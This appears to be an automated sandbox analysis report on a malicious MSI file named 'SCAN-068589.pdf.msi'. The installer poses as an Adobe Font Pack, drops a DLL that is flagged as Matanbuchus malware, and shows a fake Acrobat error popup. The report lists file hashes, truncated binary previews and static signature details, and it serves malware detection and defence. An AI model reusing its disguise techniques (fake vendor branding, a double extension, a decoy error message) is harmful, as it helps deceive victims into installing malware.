Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t..j0f.90f.90f.9$..8:f.9$..8.f.9$..8"f.9b..8.f.9b..8?f.9b..8%f.9$..8!f.90f.9Sf.9h..85f.9h..81f.9h..81f.9Rich0f.9........PE..L....G+b.........."!......................................................................@..........................)..x....)...............................`..8...l...T...............................@...............d............................text.............................. ..`.rdata...q.......r..................@..@.data........@....... ..............@....reloc..8....`.......*..............@..B.rsrc................>..............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.235754797707785
Encrypted:	false
SSDEEP:	3:LwBxFkvH48nVWrUFVAFkvH4cXK4v:cHFkvY8nqU4FkvYcXn
MD5:	0308AA2C8DAB8A69DE41F5D16679BB9B
SHA1:	C6827BF44A433FF086E787653361859D6F6E2FB3
SHA-256:	0A7E8FD68575DB5F84C18B9A26E4058323D1357E2A29A5B12278E4BFA6939489
SHA-512:	1A1CA92E3C8D52C8B5ADBB3117A88D8A2A8C33EAF2F7B0D620FE006653F57F4BA0B803884616594CA31E13A1B0B59DDAE52CECF044621EC44371084DAC6BEB72
Malicious:	false
Reputation:	low
Preview:	MsgBox "Adobe Acrobat error 0x00001803", 16, "Adobe Acrobat Error"..

C:\Users\user\AppData\Local\x86\5507.nls

Download File

Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410624
Entropy (8bit):	5.922447446405698
Encrypted:	false
SSDEEP:	6144:2tugFAmTHh/rONOBHtnee6fIhO1MMwWPzRRTuxeLaRRZMuspQ1fg3U5:wtWmTBpHtee6IcUWbHI/RRZMux
MD5:	95159F5427C976D28C86AA716799E6DE
SHA1:	4BFBF8C48F17A7C7269DFC314E5E5BD166DB857F
SHA-256:	F8CC2CF36E193774F13C9C5F23AB777496DCD7CA588F4F73B45A7A5FFA96145E
SHA-512:	04AF830CECD7EC8BF5D2F637A0E52036800D171F8D74F837648BD2129F8D19385FA46AE39C4CB0FC47C03AAA32D17F8739661D8B57B0D3D74532DE29FC20F629
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: C:\Users\user\AppData\Local\x86\5507.nls, Author: Joe Security
Joe Sandbox View:	Filename: SCAN-067800.html, Detection: malicious, Browse Filename: SCAN-068589.pdf.msi, Detection: malicious, Browse Filename: SCAN-287004.pdf.msi, Detection: malicious, Browse Filename: SCAN-287004.html, Detection: malicious, Browse Filename: SCAN-287004.pdf.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t..j0f.90f.90f.9$..8:f.9$..8.f.9$..8"f.9b..8.f.9b..8?f.9b..8%f.9$..8!f.90f.9Sf.9h..85f.9h..81f.9h..81f.9Rich0f.9........PE..L....'.a.........."!.................................................................J....@..........................)..x....)...............................`..8...l...T...............................@...............d............................text.............................. ..`.rdata...q.......r..................@..@.data........@....... ..............@....reloc..8....`.......*..............@..B.rsrc................>..............@..@................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\6ecb57.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Font Pack 3.0.12.9, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Font Pack, Template: Intel;1033, Revision Number: {717A1233-ED34-40D0-B14C-98BF5C0B90FE}, Create Time/Date: Thu Jun 16 10:54:52 2022, Last Saved Time/Date: Thu Jun 16 10:54:52 2022, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	7.611236658195378
Encrypted:	false
SSDEEP:	3072:58Xa2c1oag7+aqKVIma2OGwFLOAL4/QUPL8gHtHdNMxOzXNcO2nB:L9oa1aq9oOGwFVL4/QUDDNHdOxOzd0n
MD5:	C0EE31BC6536AE8CB7E5D8809676920A
SHA1:	B21482D1072E5CB65488F2C181F38C75D8C80DCD
SHA-256:	2D8740EA16E9457A358EBEA73AD377FF75F7AA9BDF748F0D801F5A261977EDA4
SHA-512:	66ED8F4762F3CB7B4026C9D7EEAEC2EE4E8275495D527F99FD163D0A72F436EF2E2FDAD88F7DCAD87E3DD10C7AFFFE7B2F0F6C3412DE68C16E96F9377CB4FE1D
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\6ecb59.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Font Pack 3.0.12.9, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Font Pack, Template: Intel;1033, Revision Number: {717A1233-ED34-40D0-B14C-98BF5C0B90FE}, Create Time/Date: Thu Jun 16 10:54:52 2022, Last Saved Time/Date: Thu Jun 16 10:54:52 2022, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	7.611236658195378
Encrypted:	false
SSDEEP:	3072:58Xa2c1oag7+aqKVIma2OGwFLOAL4/QUPL8gHtHdNMxOzXNcO2nB:L9oa1aq9oOGwFVL4/QUDDNHdOxOzd0n
MD5:	C0EE31BC6536AE8CB7E5D8809676920A
SHA1:	B21482D1072E5CB65488F2C181F38C75D8C80DCD
SHA-256:	2D8740EA16E9457A358EBEA73AD377FF75F7AA9BDF748F0D801F5A261977EDA4
SHA-512:	66ED8F4762F3CB7B4026C9D7EEAEC2EE4E8275495D527F99FD163D0A72F436EF2E2FDAD88F7DCAD87E3DD10C7AFFFE7B2F0F6C3412DE68C16E96F9377CB4FE1D
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID0D5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2028
Entropy (8bit):	5.579680513263452
Encrypted:	false
SSDEEP:	48:dWV5/NP3ikWuCuE9D8S0eUdmnMC3iA5aEVltRftx:dWhLCTL0e/j3zaEPBx
MD5:	C1018822E9593EF3BE5D572CCB939BEE
SHA1:	4747289883D17CA2727862E1B3CC363728371B16
SHA-256:	5626E3142CFF5BBD465DEC09192C5FB95D9E57049C303051F250C671A553CFFD
SHA-512:	ADA4513363CE4D6AB7059E0DA6A47C86B96466B0DE20BA40AF44A458DBA0267D259B2C1AFA6E60B2DD1847F6A6B737E0FF5EDA4B0441B447FDDCE27DD5A9516B
Malicious:	false
Preview:	...@IXOS.@.....@..T.@.....@.....@.....@.....@.....@......&.{CC038BA5-7236-4713-8948-DFF082243638}..Adobe Font Pack 3.0.12.9..SCAN-068589.pdf.msi.@.....@.....@.....@........&.{717A1233-ED34-40D0-B14C-98BF5C0B90FE}.....@.....@.....@.....@.......@.....@.....@.......@......Adobe Font Pack 3.0.12.9......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{82B5B2FD-2237-42AB-9F03-B3B9EAB30000}(.01:\Software\AdobeFontPack\AdobeFontPack.@.......@.....@.....@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@DD...@.....@......+.C:\Users\user\AppData\Local\AdobeFontPack\....1\vrivulty\\|AdobeFontPack\......Please insert the disk: ..media1.cab.@.....@......C:\Windows\Installer\6ecb57.msi.........@........main.dll..main_dll..main.dll.@.....@.D...@.......@.............@......22.2.366.0..1033.@........notify.vbs..notify_vbs..notify.vbs.@..

C:\Windows\Installer\SourceHash{CC038BA5-7236-4713-8948-DFF082243638}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1670302922054412
Encrypted:	false
SSDEEP:	12:JSbX72Fj2tiAGiLIlHVRp+h/7777777777777777777777777vDHFnWYB1l0i8Q:JEtiQI5WjGF
MD5:	F1B3107FC51E30555ED17A870A7E5D51
SHA1:	278315AF2D61BD3B7A157BB3F95EDE42A975A1CD
SHA-256:	855DDFE778F55E8EF0880288F7627F127B283CE493EBEB212DC4FE1EEC8E2D12
SHA-512:	AEC4BD5F0A454561C2D6545445C65DE1F064D8EAB4DF5E2707E6803F6EC94EC5FFD4549A423A10A5CBFA786D29A96D5B6857488C078AAECAE2CE5A83C7F3FF72
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4908554714011273
Encrypted:	false
SSDEEP:	48:oMP8Ph2uRc06WXJuFT55KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:XOh21FFTX6wEuDUUfDUUNDcCf6
MD5:	5BD1F82EAA4AD8F711893ACFEB29B922
SHA1:	5BA0FC421E5BD70C33E9F0ED5E3E39495424F279
SHA-256:	85FBB83148E2216DC16127004B3E5CD91482EA3A4A1F6B9E398D4C75C6378AF6
SHA-512:	C58CDC53841943D9502D99BA732F794B478E7E36A58F03AD7CD210F32146D65C55FD41A871B9697C83C492FAC34769F966F1D12212B8ADEE6B695DE6836143BD
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	122558
Entropy (8bit):	5.36346466745213
Encrypted:	false
SSDEEP:	1536:iHzMV+f84vcIH17Yyxkjr0+NVRVle+yjeLWJOQzi7gZFOIKICh/81r8yQ1oXB4Hu:iHHJCoX5Cu
MD5:	47168C9946835A9152AE477F64026DDA
SHA1:	49C7675F8B77E26E7466E55F9ABBCAF97084AC6F
SHA-256:	21BF209773E41F4FD25445F46ECC328800A3E1225F5ECE1ECCF35D6B307B0F6E
SHA-512:	CFDF8BD0C8B803F9CAEB98EBC1A2679BA703744ACD995EA25E998B4ED60457B5CF5AC182920705D0F5ADB05FBCA0DC6821FF3584AD807BE99169C23C1495C691
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..07/23/2020 10:13:25.847 [3928]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.VisualStudio.Tools.Applications.Hosting, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /NoDependencies ..07/23/2020 10:13:25.863 [3928]: ngen returning 0x00000000..07/23/2020 10:13:25.925 [1900]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.VisualStudio.Tools.Applications.ServerDocument, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /NoDependencies ..07/23/2020 10:13:25.925 [1900]: ngen returning 0x00000000..07/23/2020 10:13:25.972 [4436]: Command line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe install Microsoft.Office.Tools.v4.0.Framework, Version=10.0.0.00000, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A /queue:3 /N

C:\Windows\Temp\~DF32CC1CCDA67698BF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07381017249986964
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOTz1p+YOUKVky6l1:2F0i8n0itFzDHFnWYB1
MD5:	9B0442731B7D29BA606F701BE8E6BE7B
SHA1:	EFDCF7F6B305840A7AE2562F412C3B1207C22D8A
SHA-256:	2C67D7EBF96F60E0339876F9B2EBDA31884679B605F97CDC354555A7D319F77D
SHA-512:	911A8F4C0CB3A5F881098FDD399516E3CDD1D018FDEF3A2F1263977B477A805132F90329801F5BE4908FE52A4A490DF03E5EDD73AA87E7C33826F279518226FC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF451B68AA611F0002.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF554ED6AEAE1695CB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5D62286770078C98.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.11419006140565797
Encrypted:	false
SSDEEP:	48:9elFDcCKR818lEuLHDUUSouLHDUUS5kprJJLMsAf:96FDcCSDUUMDUUFJwx
MD5:	9E2BA0793554905FBFD12E192815A359
SHA1:	2D5C753EB2A1ED07E340A4924F4D10C5F79D0099
SHA-256:	193C920459A43560E38128C6E7A56F315C0895A9B3A21D22FC610D4BBDFF87AD
SHA-512:	57468F0E76291BAEA2AD4FBDCAE6CA9CC302A5AE1B7A4943B50EEDE070B689E46E4E9CF425BF44D1374BD264DCB692652A9892EDCD7F32EA83F91356A2343B44
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFAE475F7BF35B51FF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1992602566509953
Encrypted:	false
SSDEEP:	48:HpNeufPveFXJvT57KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:HPelHT96wEuDUUfDUUNDcCf6
MD5:	2DC499C5C09CE064AADC4832B4287348
SHA1:	A29DD7556248DAABDE1EFC42133E742903FCCAA1
SHA-256:	3B8333ED83A85626257E7AA8F301E278A7CA19B9F86BB30FEA0925AB02ADC97F
SHA-512:	B62A1B4F535C7B78557617EA4D07D9282D3F04604C45BE04923956254AC109555B790A8E44C7EC9FEEBE047D061086ED930591C694E87F7DDB181FE5AB4D9191
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB6CC71FD7302A57F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB854D5FFFE3393EB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4908554714011273
Encrypted:	false
SSDEEP:	48:oMP8Ph2uRc06WXJuFT55KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:XOh21FFTX6wEuDUUfDUUNDcCf6
MD5:	5BD1F82EAA4AD8F711893ACFEB29B922
SHA1:	5BA0FC421E5BD70C33E9F0ED5E3E39495424F279
SHA-256:	85FBB83148E2216DC16127004B3E5CD91482EA3A4A1F6B9E398D4C75C6378AF6
SHA-512:	C58CDC53841943D9502D99BA732F794B478E7E36A58F03AD7CD210F32146D65C55FD41A871B9697C83C492FAC34769F966F1D12212B8ADEE6B695DE6836143BD
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBD7FC4C706A2923E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4908554714011273
Encrypted:	false
SSDEEP:	48:oMP8Ph2uRc06WXJuFT55KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:XOh21FFTX6wEuDUUfDUUNDcCf6
MD5:	5BD1F82EAA4AD8F711893ACFEB29B922
SHA1:	5BA0FC421E5BD70C33E9F0ED5E3E39495424F279
SHA-256:	85FBB83148E2216DC16127004B3E5CD91482EA3A4A1F6B9E398D4C75C6378AF6
SHA-512:	C58CDC53841943D9502D99BA732F794B478E7E36A58F03AD7CD210F32146D65C55FD41A871B9697C83C492FAC34769F966F1D12212B8ADEE6B695DE6836143BD
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC1AF1F970900AA0D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1992602566509953
Encrypted:	false
SSDEEP:	48:HpNeufPveFXJvT57KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:HPelHT96wEuDUUfDUUNDcCf6
MD5:	2DC499C5C09CE064AADC4832B4287348
SHA1:	A29DD7556248DAABDE1EFC42133E742903FCCAA1
SHA-256:	3B8333ED83A85626257E7AA8F301E278A7CA19B9F86BB30FEA0925AB02ADC97F
SHA-512:	B62A1B4F535C7B78557617EA4D07D9282D3F04604C45BE04923956254AC109555B790A8E44C7EC9FEEBE047D061086ED930591C694E87F7DDB181FE5AB4D9191
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD360B2FB883B3EA4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1992602566509953
Encrypted:	false
SSDEEP:	48:HpNeufPveFXJvT57KACLMEVuLHDUUS5kprmuLHDUUSI818lPBDcCfel:HPelHT96wEuDUUfDUUNDcCf6
MD5:	2DC499C5C09CE064AADC4832B4287348
SHA1:	A29DD7556248DAABDE1EFC42133E742903FCCAA1
SHA-256:	3B8333ED83A85626257E7AA8F301E278A7CA19B9F86BB30FEA0925AB02ADC97F
SHA-512:	B62A1B4F535C7B78557617EA4D07D9282D3F04604C45BE04923956254AC109555B790A8E44C7EC9FEEBE047D061086ED930591C694E87F7DDB181FE5AB4D9191
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF1FA149FB9109A5F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFEC5387194B3D4A9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Adobe Font Pack 3.0.12.9, Author: Adobe Inc., Keywords: Installer, Comments: Adobe Font Pack, Template: Intel;1033, Revision Number: {717A1233-ED34-40D0-B14C-98BF5C0B90FE}, Create Time/Date: Thu Jun 16 10:54:52 2022, Last Saved Time/Date: Thu Jun 16 10:54:52 2022, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2
Entropy (8bit):	7.611236658195378
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	SCAN-068589.pdf.msi
File size:	229376
MD5:	c0ee31bc6536ae8cb7e5d8809676920a
SHA1:	b21482d1072e5cb65488f2c181f38c75d8c80dcd
SHA256:	2d8740ea16e9457a358ebea73ad377ff75f7aa9bdf748f0d801f5a261977eda4
SHA512:	66ed8f4762f3cb7b4026c9d7eeaec2ee4e8275495d527f99fd163d0a72f436ef2e2fdad88f7dcad87e3dd10c7afffe7b2f0f6c3412de68c16e96f9377cb4fe1d
SSDEEP:	3072:58Xa2c1oag7+aqKVIma2OGwFLOAL4/QUPL8gHtHdNMxOzXNcO2nB:L9oa1aq9oOGwFVL4/QUDDNHdOxOzd0n
TLSH:	4C24124A33144934C11267382FABF7E647317CCD9E5B8A622297F32C2EB35A056635F4
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	a2a0b496b2caca72

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file
Error Number:	-2146762495
Not Before, Not After	5/17/2022 5:00:00 PM 5/11/2023 4:59:59 PM
Subject Chain	CN="Westeast Tech Consulting, Corp.", O="Westeast Tech Consulting, Corp.", L=NORTHRIDGE, S=California, C=US, SERIALNUMBER=4088386, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.2=California, OID.1.3.6.1.4.1.311.60.2.1.3=US
Version:	3
Thumbprint MD5:	0E4E3D01B136D4F9120A1333A90F111F
Thumbprint SHA-1:	2A40875C895B648C9583925C7DAD694A2A11D7DD
Thumbprint SHA-256:	9ED703BA7033AF5F88A5F5EF0155ADC41715D3175EEC836822A09A93D56E4B7F
Serial:	061A27A3A3771BB440FC16CADF2675C4

OLE File "SCAN-068589.pdf.msi"

Indicators

Has Summary Info:
Application Name:	Windows Installer XML Toolset (3.11.2.4516)
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1252
Title:	Installation Database
Subject:	Adobe Font Pack 3.0.12.9
Author:	Adobe Inc.
Keywords:	Installer
Comments:	Adobe Font Pack
Template:	Intel;1033
Revion Number:	{717A1233-ED34-40D0-B14C-98BF5C0B90FE}
Create Time:	2022-06-16 09:54:52
Last Saved Time:	2022-06-16 09:54:52
Number of Pages:	200
Number of Words:	10
Creating Application:	Windows Installer XML Toolset (3.11.2.4516)
Security:	2

Streams

Stream Path: \x5DigitalSignature, File Type: data, Stream Size: 4773

General
Stream Path:	\x5DigitalSignature
File Type:	data
Stream Size:	4773
Entropy:	7.599019489885285
Base64 Encoded:	True
Data ASCII:	0 . . . * H . . . . . 0 . . . . 1 . 0 . . . ` H . e . . . . . . 0 w . . + . . . . 7 . . . i 0 g 0 2 . . + . . . . 7 . . . 0 $ . . . . . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . 0 1 0 . . . ` H . e . . . . . . . } . . . 8 Y 4 , 5 . i 4 . . S . ] . 0 . 0 . . . . . . . . @ ` . L ^ . 0 . . . * H . . . . . . 0 b 1 . 0 . . . U . . . . U S 1 . 0 . . . U . . . . D i g i C e r t I n c 1 . 0 . . . U . . . . w w w . d i g i c e r t . c o m 1 ! 0 . . . U . . . . D i g i C e r t T r u s t e d R
Data Raw:	30 82 12 a1 06 09 2a 86 48 86 f7 0d 01 07 02 a0 82 12 92 30 82 12 8e 02 01 01 31 0f 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 30 77 06 0a 2b 06 01 04 01 82 37 02 01 04 a0 69 30 67 30 32 06 0a 2b 06 01 04 01 82 37 02 01 1e 30 24 02 01 02 04 10 f1 10 0c 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 01 00 02 01 00 02 01 00 02 01 00 02 01 00 30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01

Stream Path: \x5MsiDigitalSignatureEx, File Type: data, Stream Size: 32

General
Stream Path:	\x5MsiDigitalSignatureEx
File Type:	data
Stream Size:	32
Entropy:	4.726409765557392
Base64 Encoded:	False
Data ASCII:	N o ) . z : ^ M . ] . . F
Data Raw:	4e 6f 29 ae 97 9b ef ad bd 7a ae df 3a b5 83 5e 4d 9b b8 d2 85 5d 17 01 bb ac f7 b7 ae 46 8c 97

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 476

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	476
Entropy:	4.498978990647221
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . I n s t a l l a t i o n D a t a b a s e . . . . . . . . . . . A d o b e F o n t P a c k 3 . 0 . 1 2 . 9 . . . . . . . . . . . . A d o b e I n c . . . . . . . . . . . I n s
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 ac 01 00 00 0e 00 00 00 01 00 00 00 78 00 00 00 02 00 00 00 80 00 00 00 03 00 00 00 a0 00 00 00 04 00 00 00 c4 00 00 00 05 00 00 00 d8 00 00 00 06 00 00 00 ec 00 00 00 07 00 00 00 04 01 00 00 09 00 00 00 18 01 00 00 0c 00 00 00 48 01 00 00

Stream Path: \x16944\x17191\x14436\x16830\x16740, File Type: Microsoft Cabinet archive data, 185058 bytes, 2 files, Stream Size: 185058

General
Stream Path:	\x16944\x17191\x14436\x16830\x16740
File Type:	Microsoft Cabinet archive data, 185058 bytes, 2 files
Stream Size:	185058
Entropy:	7.998106767695454
Base64 Encoded:	True
